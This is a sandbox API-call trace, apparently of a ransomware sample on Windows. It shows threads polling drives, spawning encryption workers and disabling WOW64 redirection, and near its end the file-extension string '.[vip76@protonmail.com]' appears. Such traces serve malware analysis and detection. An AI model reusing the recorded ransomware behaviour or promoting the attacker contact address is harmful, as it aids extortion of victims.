	[0194.640] Sleep (dwMilliseconds=0x64) 
	[0194.954] GetLogicalDrives () returned 0x4
	[0194.954] Sleep (dwMilliseconds=0x64) 
	[0195.186] GetLogicalDrives () returned 0x4
	[0195.186] Sleep (dwMilliseconds=0x64) 
	[0195.333] GetLogicalDrives () returned 0x4
	[0195.333] Sleep (dwMilliseconds=0x64) 
	[0195.496] GetLogicalDrives () returned 0x4
	[0195.497] Sleep (dwMilliseconds=0x64) 
	[0195.806] GetLogicalDrives () returned 0x4
	[0195.807] Sleep (dwMilliseconds=0x64) 
	[0196.047] GetLogicalDrives () returned 0x4
	[0196.047] Sleep (dwMilliseconds=0x64) 
	[0196.282] GetLogicalDrives () returned 0x4
	[0196.282] Sleep (dwMilliseconds=0x64) 
	[0196.507] GetLogicalDrives () returned 0x4
	[0196.507] Sleep (dwMilliseconds=0x64) 
	[0196.791] GetLogicalDrives () returned 0x4
	[0196.791] Sleep (dwMilliseconds=0x64) 
	[0197.222] GetLogicalDrives () returned 0x4
	[0197.222] Sleep (dwMilliseconds=0x64) 
	[0197.648] GetLogicalDrives () returned 0x4
	[0197.648] Sleep (dwMilliseconds=0x64) 
	[0197.849] GetLogicalDrives () returned 0x4
	[0197.849] Sleep (dwMilliseconds=0x64) 
	[0198.265] GetLogicalDrives () returned 0x4
	[0198.265] Sleep (dwMilliseconds=0x64) 
	[0198.566] GetLogicalDrives () returned 0x4
	[0198.566] Sleep (dwMilliseconds=0x64) 
	[0198.941] GetLogicalDrives () returned 0x4
	[0198.942] Sleep (dwMilliseconds=0x64) 
	[0199.207] GetLogicalDrives () returned 0x4
	[0199.207] Sleep (dwMilliseconds=0x64) 
	[0199.595] GetLogicalDrives () returned 0x4
	[0199.595] Sleep (dwMilliseconds=0x64) 
	[0199.755] GetLogicalDrives () returned 0x4
	[0199.755] Sleep (dwMilliseconds=0x64) 
	[0200.042] GetLogicalDrives () returned 0x4
	[0200.042] Sleep (dwMilliseconds=0x64) 
	[0200.304] GetLogicalDrives () returned 0x4
	[0200.304] Sleep (dwMilliseconds=0x64) 
	[0200.448] GetLogicalDrives () returned 0x4
	[0200.448] Sleep (dwMilliseconds=0x64) 
	[0200.697] GetLogicalDrives () returned 0x4
	[0200.697] Sleep (dwMilliseconds=0x64) 
	[0201.284] GetLogicalDrives () returned 0x4
	[0201.284] Sleep (dwMilliseconds=0x64) 
	[0201.723] GetLogicalDrives () returned 0x4
	[0201.723] Sleep (dwMilliseconds=0x64) 
	[0202.266] GetLogicalDrives () returned 0x4
	[0202.266] Sleep (dwMilliseconds=0x64) 
	[0202.588] GetLogicalDrives () returned 0x4
	[0202.588] Sleep (dwMilliseconds=0x64) 
	[0203.487] GetLogicalDrives () returned 0x4
	[0203.487] Sleep (dwMilliseconds=0x64) 
	[0203.726] GetLogicalDrives () returned 0x4
	[0203.726] Sleep (dwMilliseconds=0x64) 
	[0203.912] GetLogicalDrives () returned 0x4
	[0203.912] Sleep (dwMilliseconds=0x64) 
	[0204.135] GetLogicalDrives () returned 0x4
	[0204.135] Sleep (dwMilliseconds=0x64) 
	[0204.561] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0204.561] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627638 | out: hHeap=0x610000) returned 1

Thread:
	id = 38
	os_tid = 0xdac


Thread:
	id = 39
	os_tid = 0xda0

	[0164.822] GetTickCount () returned 0x113cc7e
	[0164.822] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x24) returned 0x6697a0
	[0164.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6697a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0164.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6697a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0164.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6697a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0164.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x6697a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4
	[0164.824] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x672c60
	[0164.825] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672c60, Size=0x20) returned 0x64d4f0
	[0164.825] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x672c60
	[0164.825] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x672c60, Size=0x20) returned 0x64d838
	[0164.825] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0164.825] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0164.825] Wow64DisableWow64FsRedirection (in: OldValue=0x288ff7c | out: OldValue=0x288ff7c*=0x0) returned 1
	[0164.825] lstrlenW (lpString="kernel32.dll") returned 12
	[0164.825] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d4f0 | out: hHeap=0x610000) returned 1
	[0164.825] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0164.825] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0164.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x656e00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0164.826] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.062] GetTickCount () returned 0x113cd78
	[0165.062] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.284] GetTickCount () returned 0x113ce52
	[0165.284] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.476] GetTickCount () returned 0x113cf0e
	[0165.476] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0165.911] GetTickCount () returned 0x113d0c3
	[0165.911] GetTickCount () returned 0x113d0c3
	[0165.911] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.297] GetTickCount () returned 0x113d24a
	[0166.297] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.573] GetTickCount () returned 0x113d354
	[0166.573] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0166.900] GetTickCount () returned 0x113d4ab
	[0166.906] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.306] GetTickCount () returned 0x113d632
	[0167.306] GetTickCount () returned 0x113d632
	[0167.306] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.521] GetTickCount () returned 0x113d71c
	[0167.521] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0167.776] GetTickCount () returned 0x113d816
	[0167.776] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.096] GetTickCount () returned 0x113d94f
	[0168.096] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.498] GetTickCount () returned 0x113dae5
	[0168.498] GetTickCount () returned 0x113dae5
	[0168.498] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.740] GetTickCount () returned 0x113dbcf
	[0168.740] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0168.941] GetTickCount () returned 0x113dcaa
	[0168.950] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0169.317] GetTickCount () returned 0x113de12
	[0169.317] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0169.675] GetTickCount () returned 0x113df79
	[0169.675] GetTickCount () returned 0x113df79
	[0169.675] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0170.026] GetTickCount () returned 0x113e0e0
	[0170.026] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0170.354] GetTickCount () returned 0x113e228
	[0170.354] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.114] GetTickCount () returned 0x113e516
	[0171.114] GetTickCount () returned 0x113e516
	[0171.114] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.493] GetTickCount () returned 0x113e69d
	[0171.493] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0171.760] GetTickCount () returned 0x113e7a7
	[0171.761] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0172.233] GetTickCount () returned 0x113e97b
	[0172.233] GetTickCount () returned 0x113e97b
	[0172.233] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0172.687] GetTickCount () returned 0x113eb41
	[0172.687] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.074] GetTickCount () returned 0x113ecb8
	[0173.074] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.216] GetTickCount () returned 0x113ed44
	[0173.216] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.506] GetTickCount () returned 0x113ee6d
	[0173.506] GetTickCount () returned 0x113ee6d
	[0173.506] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0173.708] GetTickCount () returned 0x113ef38
	[0173.708] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.004] GetTickCount () returned 0x113f061
	[0174.004] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.189] GetTickCount () returned 0x113f11d
	[0174.189] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.419] GetTickCount () returned 0x113f1f7
	[0174.419] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.570] GetTickCount () returned 0x113f294
	[0174.570] GetTickCount () returned 0x113f294
	[0174.571] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0174.786] GetTickCount () returned 0x113f36e
	[0174.786] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.048] GetTickCount () returned 0x113f478
	[0175.048] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.251] GetTickCount () returned 0x113f543
	[0175.251] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.406] GetTickCount () returned 0x113f5df
	[0175.406] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.671] GetTickCount () returned 0x113f6e9
	[0175.671] GetTickCount () returned 0x113f6e9
	[0175.671] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0175.876] GetTickCount () returned 0x113f7b4
	[0175.876] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.273] GetTickCount () returned 0x113f93b
	[0176.273] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.436] GetTickCount () returned 0x113f9e7
	[0176.436] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0176.803] GetTickCount () returned 0x113fb4e
	[0176.803] GetTickCount () returned 0x113fb4e
	[0176.803] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.068] GetTickCount () returned 0x113fc58
	[0177.068] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.270] GetTickCount () returned 0x113fd23
	[0177.270] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.625] GetTickCount () returned 0x113fe7a
	[0177.625] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0177.932] GetTickCount () returned 0x113ffb3
	[0177.932] GetTickCount () returned 0x113ffb3
	[0177.932] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0178.340] GetTickCount () returned 0x1140159
	[0178.340] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0178.779] GetTickCount () returned 0x114030e
	[0178.779] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0179.075] GetTickCount () returned 0x1140437
	[0179.075] GetTickCount () returned 0x1140437
	[0179.075] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0179.204] GetTickCount () returned 0x11404b4
	[0179.204] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0179.349] GetTickCount () returned 0x1140541
	[0179.349] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0179.540] GetTickCount () returned 0x11405fc
	[0179.540] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0179.846] GetTickCount () returned 0x1140735
	[0179.846] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0180.152] GetTickCount () returned 0x114086d
	[0180.152] GetTickCount () returned 0x114086d
	[0180.152] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0180.571] GetTickCount () returned 0x1140a04
	[0180.571] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0181.155] GetTickCount () returned 0x1140c55
	[0181.155] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0181.592] GetTickCount () returned 0x1140e0b
	[0181.592] GetTickCount () returned 0x1140e0b
	[0181.592] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0182.198] GetTickCount () returned 0x114105d
	[0182.198] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0183.014] GetTickCount () returned 0x1141389
	[0183.014] GetTickCount () returned 0x1141389
	[0183.014] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0183.533] GetTickCount () returned 0x114159c
	[0183.533] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0184.084] GetTickCount () returned 0x11417cf
	[0184.084] GetTickCount () returned 0x11417cf
	[0184.084] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0184.468] GetTickCount () returned 0x1141946
	[0184.468] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0185.388] GetTickCount () returned 0x1141ce0
	[0185.388] GetTickCount () returned 0x1141ce0
	[0185.388] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0185.800] GetTickCount () returned 0x1141e76
	[0185.800] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0186.773] GetTickCount () returned 0x114224e
	[0186.773] GetTickCount () returned 0x114224e
	[0186.773] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0187.169] GetTickCount () returned 0x11423d5
	[0187.169] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0187.362] GetTickCount () returned 0x1142490
	[0187.362] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0187.691] GetTickCount () returned 0x11425d9
	[0187.691] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0187.931] GetTickCount () returned 0x11426d3
	[0187.931] GetTickCount () returned 0x11426d3
	[0187.931] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0188.051] GetTickCount () returned 0x1142750
	[0188.051] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0188.424] GetTickCount () returned 0x11428b7
	[0188.424] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0188.828] GetTickCount () returned 0x1142a4d
	[0188.828] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0189.198] GetTickCount () returned 0x1142bc4
	[0189.198] GetTickCount () returned 0x1142bc4
	[0189.198] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0189.473] GetTickCount () returned 0x1142cdd
	[0189.473] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0189.707] GetTickCount () returned 0x1142dc8
	[0189.707] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0189.873] GetTickCount () returned 0x1142e64
	[0189.873] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0190.171] GetTickCount () returned 0x1142f8d
	[0190.171] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0190.554] GetTickCount () returned 0x1143114
	[0190.554] GetTickCount () returned 0x1143114
	[0190.554] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0190.703] GetTickCount () returned 0x11431a0
	[0190.703] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0191.075] GetTickCount () returned 0x1143317
	[0191.075] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0191.208] GetTickCount () returned 0x11433a4
	[0191.208] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0191.374] GetTickCount () returned 0x1143440
	[0191.374] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0191.943] GetTickCount () returned 0x1143682
	[0191.943] GetTickCount () returned 0x1143682
	[0191.943] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0192.402] GetTickCount () returned 0x1143847
	[0192.402] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0192.809] GetTickCount () returned 0x11439de
	[0192.809] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0193.109] GetTickCount () returned 0x1143b06
	[0193.109] GetTickCount () returned 0x1143b06
	[0193.109] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0193.399] GetTickCount () returned 0x1143c2f
	[0193.399] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0193.734] GetTickCount () returned 0x1143d77
	[0193.734] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0194.205] GetTickCount () returned 0x1143f4c
	[0194.205] GetTickCount () returned 0x1143f4c
	[0194.205] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0194.640] GetTickCount () returned 0x1144102
	[0194.640] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0194.954] GetTickCount () returned 0x114423a
	[0194.954] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0195.186] GetTickCount () returned 0x1144325
	[0195.186] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0195.333] GetTickCount () returned 0x11443c1
	[0195.333] GetTickCount () returned 0x11443c1
	[0195.333] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0195.496] GetTickCount () returned 0x114445d
	[0195.496] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0195.807] GetTickCount () returned 0x1144596
	[0195.807] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0196.047] GetTickCount () returned 0x1144680
	[0196.047] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0196.282] GetTickCount () returned 0x114476a
	[0196.282] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0196.445] GetTickCount () returned 0x1144816
	[0196.445] GetTickCount () returned 0x1144816
	[0196.445] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0196.791] GetTickCount () returned 0x114496e
	[0196.791] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0197.222] GetTickCount () returned 0x1144b14
	[0197.222] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0197.638] GetTickCount () returned 0x1144cba
	[0197.638] GetTickCount () returned 0x1144cba
	[0197.638] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0197.848] GetTickCount () returned 0x1144d85
	[0197.848] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0198.265] GetTickCount () returned 0x1144f1b
	[0198.265] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0198.566] GetTickCount () returned 0x1145054
	[0198.566] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0198.942] GetTickCount () returned 0x11451cb
	[0198.942] GetTickCount () returned 0x11451cb
	[0198.942] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0199.207] GetTickCount () returned 0x11452d4
	[0199.207] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0199.581] GetTickCount () returned 0x114544b
	[0199.581] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0199.709] GetTickCount () returned 0x11454c8
	[0199.709] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0199.967] GetTickCount () returned 0x11455d2
	[0199.967] GetTickCount () returned 0x11455d2
	[0199.967] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0200.273] GetTickCount () returned 0x11456fb
	[0200.273] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0200.417] GetTickCount () returned 0x1145797
	[0200.417] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0200.679] GetTickCount () returned 0x1145891
	[0200.679] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0201.180] GetTickCount () returned 0x1145a85
	[0201.180] GetTickCount () returned 0x1145a85
	[0201.180] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0201.470] GetTickCount () returned 0x1145bae
	[0201.470] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0201.824] GetTickCount () returned 0x1145d15
	[0201.824] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0202.307] GetTickCount () returned 0x1145efa
	[0202.307] GetTickCount () returned 0x1145efa
	[0202.307] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0202.590] GetTickCount () returned 0x1146013
	[0202.590] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0203.487] GetTickCount () returned 0x114638d
	[0203.487] GetTickCount () returned 0x114638d
	[0203.487] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0203.726] GetTickCount () returned 0x1146478
	[0203.726] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0203.913] GetTickCount () returned 0x1146533
	[0203.913] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x102
	[0204.136] GetTickCount () returned 0x114660e
	[0204.136] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x64) returned 0x0
	[0204.546] WaitForMultipleObjects (nCount=0x4, lpHandles=0x288ff5c*=0x2e8, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0204.875] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x5a01020 | out: hHeap=0x610000) returned 1
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dd18 | out: hHeap=0x610000) returned 1
	[0204.882] lstrlenW (lpString=".html") returned 5
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679b10 | out: hHeap=0x610000) returned 1
	[0204.882] lstrlenW (lpString=".[vip76@protonmail.com]") returned 23
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627a70 | out: hHeap=0x610000) returned 1
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dda8 | out: hHeap=0x610000) returned 1
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a158 | out: hHeap=0x610000) returned 1
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a1b8 | out: hHeap=0x610000) returned 1
	[0204.882] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a1a0 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679d38 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x67a0e0 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679d50 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64ddd8 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679a80 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679d68 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679bd0 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64de28 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64ddb8 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679c78 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64ddf8 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679b70 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dca8 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x679c48 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dbd0 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x628f40 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x62b148 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x656e00 | out: hHeap=0x610000) returned 1
	[0204.883] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6697a0 | out: hHeap=0x610000) returned 1
	[0204.883] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441610
	[0204.883] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441610, Size=0x20) returned 0x6685d8
	[0204.883] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441478
	[0204.883] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441478, Size=0x20) returned 0x668560
	[0204.884] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.884] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.884] Wow64DisableWow64FsRedirection (in: OldValue=0x288ff7c | out: OldValue=0x288ff7c*=0x1) returned 1
	[0204.884] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.884] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x668560 | out: hHeap=0x610000) returned 1
	[0204.884] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.884] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6685d8 | out: hHeap=0x610000) returned 1

Thread:
	id = 40
	os_tid = 0xdb0

	[0164.817] GetTickCount () returned 0x113cc7e
	[0164.817] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x24) returned 0x669770
